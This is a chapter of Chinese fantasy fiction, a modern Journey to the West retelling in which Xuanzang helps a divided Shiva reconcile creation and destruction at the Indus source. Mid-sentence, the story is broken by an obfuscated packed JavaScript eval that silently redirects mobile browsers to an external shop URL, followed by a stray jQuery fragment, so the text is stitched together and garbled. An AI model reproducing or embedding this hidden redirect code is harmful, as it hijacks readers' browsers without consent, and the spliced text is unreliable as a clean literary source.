印度河源头在喜马拉雅山脉南麓，海拔接近五千米。空气稀薄，风冷得像被削过无数层的薄冰。河源处是一片碎石遍布的谷地，水流从这里出发，最初只是一道勉强没过脚踝的细流，沿着岩石缝隙蜿蜒向下，汇入更大的支流，最终奔向下游平原。
但此刻那道细流没有了。
河床裸露着，石头上覆着一层干燥的白盐，像大地脱了一层皮。再往上走大约两百米，河床突然消失——取而代之的是一片正在缓慢移动的浅水区，水面不断向四周扩展，水位上涨的速度肉眼可辨。山脚下一片刚刚被淹过的碎石坡上，青苔正在以一种被强行催化的速度蔓延。
"前面。洪水区和旱区在交替。"悟空站在一块凸起的岩石上，义眼扫过前方约两公里的谷地，扫描结果在视野里铺成一张热力分布图，"左半幅正在被水覆盖。右半幅地面裂缝在扩大。交界处在移动。像两块拼图被两只手同时往相反方向推。"
玄奘喘着气往上爬。海拔太高了，每走二十步就得停一会儿让心跳降回去。八戒更惨，军大衣早脱了，T恤贴在肚子上，脸上的红色从颧骨蔓延到耳根。沙僧在后头举着平板，一边走一边侧目看氧气读数，面无表情地报数："血氧八十八。还有下降空间。但不多。"
谷地正中央有一块高出地面约三米的黑色岩台。岩台表面光滑得像被水流磨过万年，但此刻上面没有水——只有两道影子。
一个人，分成两个姿态。左边那个盘坐，右手结无畏印，掌心朝外，眼睛半阖，周身弥漫着一层湿润的深蓝色光，像深海最底处的颜色。右边那个站立，左手举着一柄三叉戟虚影，戟尖向下，周身笼罩着一层干燥的赭红色，像火焰燃烧后留下的余烬堆。两个姿态共用一个躯干——或者说，共享了一个半透明的、不断在坐和立之间切换的主体轮廓。轮廓的每一面都在同时呈现两种状态：右手在凝聚水汽，左手在剥落岩层。
"湿婆。"悟空收起扫描，从岩石上跳下来，"他自己在跟自己打。"
玄奘走到黑色岩台下方三米处停下来。这个距离刚好能看清轮廓的细节——那个共享的面孔正面，左半边嘴唇微张，像在吟唱造物的音节；右半边嘴唇紧抿，嘴角向下，像在默数毁灭的间隔。两种状态在同一张脸上交替出现的频率大约每七秒一轮。
盘坐的那一侧（创造）先看见了他。深蓝色的光微微扩散，环绕着面孔的左半边，声音从那个方向传来，像泉水从石缝中涌出又落入深潭："你不该在这个高度停留。空气太薄了。你的肺——"
站立的另一侧（毁灭）在同一瞬间接上了话："——但你的脚已经走到这了。说明你是自己选的路。"
创造湿婆微微侧头，左半边面孔朝下看着玄奘："你从东面来？"
"从长安来。"
毁灭湿婆的右半边面孔依然面朝前方，但声音比刚才略低了一度："长安是起点。你走了多远？"
"走完了一部分。还剩一部分。"玄奘在岩台下方坐下来，用手托了一下后腰，让脊椎找到一块稍微平坦的岩石靠住，"上来之前你们在做什么？"
创造湿婆张开右手掌，掌心里凝出一小团旋转的深蓝色光核："我想造一条新的支流。沿着南坡向下分流，让下游多一片湿地。引水线路我已经算好了——"
毁灭湿婆的左手同时向下压了半寸，掌缘划过岩台表面，削下一片薄薄的岩片，岩片落地之后立即碎裂成更细的颗粒："那条线路会改变原有河道的流速。下游三十公里处有一处村庄的取水口原本依赖河道冲刷维持流量。改道之后取水口会在每年枯水期干涸三个半月。"
"三个月半的干涸之后湿地会多出两倍面积。多出来的湿地可以种更多的——"
"种出来之后谁守？那处村庄只有四十户。你造出来的东西他们保不住。"
"所以他们需要学会保——"
"他们学不会。四十户的村庄，青壮年已经全部进城打工了。留下的全是老人和孩子。你造出来的新湿地对留守的人而言不是馈赠，是额外需要巡视的范围。"
"那你让我怎么做？不造了？"
"你去年造的那条支流，今年枯水期干掉了三分之一。生态还在适应，你又想造新的。你的创造里没有'等一等'的周期。"
双方同时沉默了大约三秒。但沉默的间隙里，岩台下方左侧的水面往上涨了两寸，右侧的地面又裂了一道新的细缝。
"你们的争论我听了一会儿。"玄奘抬起头，面朝那张共享的面孔，声音不高不低，"我只问一个问题——为什么造新东西之前必须先毁掉旧的东西？"
创造湿婆的深蓝光核停止了旋转。毁灭湿婆的左手停在了半空。整张面孔的两侧同时转向了同一个方向——朝下，朝向坐在岩台下面的那个人。双唇同时微张，但这一次是同步的，像水与火终于共用一个呼吸节奏："因为——"创造湿婆的声音起头，毁灭湿婆的声音接上了尾音，两个半句连在一起，形成了一个完整的句子："我只学过这一种方法。"
创造湿婆那半边面孔上的深蓝光开始变亮。不是愤怒或失控的亮，是一种像灯丝在被烧到极限之前最后一刻的纯白亮度。它的声音从那种光里挤出来，比刚才窄了一个八度："我诞生以来的第一件事就是从毁灭的残留物里造新的。我不会别的。让我从头开始凭空造一片没有毁灭痕迹的东西——我不知道笔该落在哪里。"
毁灭湿婆的赭红色光芒在那一瞬间暗了半度。它没有接话，但它把悬浮在空中的左手收回来，贴在身体侧面。那一侧的岩台边缘，刚被它削掉的岩片碎屑下方，有一小片裸露的新鲜岩层正在缓慢地、像皮肤愈合一样地长出薄薄的水苔。速度极慢，慢到肉眼几乎看不见，但它在长。
玄奘看到了那层水苔。他从帆布袋里取出水壶，拧开盖子，倒了一点水在手心里，然后朝那层水苔的方向弹了几滴。水珠落在新生的岩面上，渗进苔层的缝隙里，苔层边缘开始蔓延出更细的丝状分支。
"你造新东西之前确实只学过用毁灭作为前置。"玄奘把水壶的盖子拧回去，"但你刚说那一句'我只学过这一种方法'——说出口的时候，你右半边石缝里长出了新苔。那层苔没有经过任何毁灭过程。只是因为你静止了半秒，光变暗了半度，温度降了一点，它就自己长出来了。"
创造湿婆的面孔怔住了。他左半边所有的光同时向内收拢，像一个人深吸一口气之后的片刻停顿。毁灭湿婆的右手从身侧慢慢抬起来，指尖朝向那层水苔的方向，但没有落下。它的指尖下方凝聚了一小团极微弱的、像极光最边缘的颜色一样的水汽，贴着苔层表面掠过，没有触碰。
玄奘站起来。他走到岩台侧面，用手指碰了一下那层水苔。湿的，凉的，带着一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849377|211779||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
种在低温高海拔环境中缓慢生长的生物特有的那种紧实质地。
"两种方法都行。你先学的是用毁灭造新。但你现在知道还有一种不需要先毁也能长出来的路径了。不是让你放弃原来的方法。是让你在两条路之间多一个选项。"玄奘把手收回来，往身上擦了擦水迹，"你刚才说的那条新支流——你可以先不急着改河道。先让那四十户人知道下游可能多出一片湿地。等他们知道了，你再开始挖第一道渠。"
创造湿婆和毁灭湿婆共享的那张面孔缓慢地调整了左右两侧的角度。两侧第一次对齐了——左眼和右眼朝向同一个人，嘴唇的左右两半在同一个水平线上。声音还是两种音色叠在一起的，但这一次它们落在同一句话的每个字上，时间相差不到零点一秒：
"你教了我一种方法之外的另一种。"
那个轮廓从黑色岩台上站了起来。坐和立的两半终于合成了一个完整的站姿，左右手同时垂下，垂在身体两侧。那层水苔在他脚边的石缝里继续蔓延了大约两厘米，停住了，没有继续扩大也没有枯萎。
他没有道谢，也没有告别。他只是转过身，面朝南方——下游的方向——然后迈出了第一步。踏出岩台范围的那一刻，他脚下干燥的裂缝里涌出了一道极细的、闪着暗光的清流，贴着岩石表面向下淌了三尺，然后没入碎石缝隙中。那道水流的方向跟毁灭湿婆之前削掉的岩片坠落的方向完全重合。
玄奘看着那道水流消失在碎石层下。"他知道了。"
八戒蹲在下方二十米的缓坡上喘气。刚才岩台周围所有的水汽和热浪同时安静下来之后，空气的含氧量正常了一些，他勉强能说整句话了："他知道啥了？"
"知道他下刀之前可以先看一眼他要切的料里有没有已经长出来的东西。"玄奘往下走，每一步都比上来时轻一些，像那层水苔的湿气渗进了鞋底，让摩擦力增大了半度。
沙僧在下方的平地上站着，平板已经完成了当天的第一条记录。记录的最后一行写着："湿婆。分裂状态初步聚合。驱动变量是一层水苔和四十户人。变量太小了，但起效了。他没有道歉，没有道谢。他转身走下游的时候脚下生了水——那说明他已经开始不用毁灭来造新了。"
白色越野车停在印度河源头下游大约三公里处的一个弯道上。玄奘走到车边的时候回头看了一眼上游的方向——那道黑色岩台上已经空无一物了。但岩台正下方的碎石缝里，有一根比头发丝粗不了多少的绿色细芽正在迎着午后的斜阳展开第一对子叶。叶缘带着一层极薄的水光，像刚被谁用指尖碰过。
悟空在副驾门前站了一会儿，顺着玄奘的目光回头看了一眼那根细芽，然后伸手拉开车门。"师父。你刚才倒水的那一下——你手心出汗了。不是累的。"
玄奘坐进副驾，把安全带扣好。"是紧张。那水苔长出来的时候我没把握它会活。"
"但它活了。"
"对。"玄奘把安全带松了一下又重新拉紧，"但它活不活跟我倒水没有关系。是它自己想在那条缝里长的。"
车载引擎启动。白色越野车从喜马拉雅南麓的碎石坡上缓缓转弯，驶向更低海拔的谷地。上游那道黑色岩台上的水苔在车尾完全转过弯道之后仍在缓慢生长，但速度比之前慢了——像一个人终于学会了一个新动作，做完一遍之后正在用自己的速度做第二遍。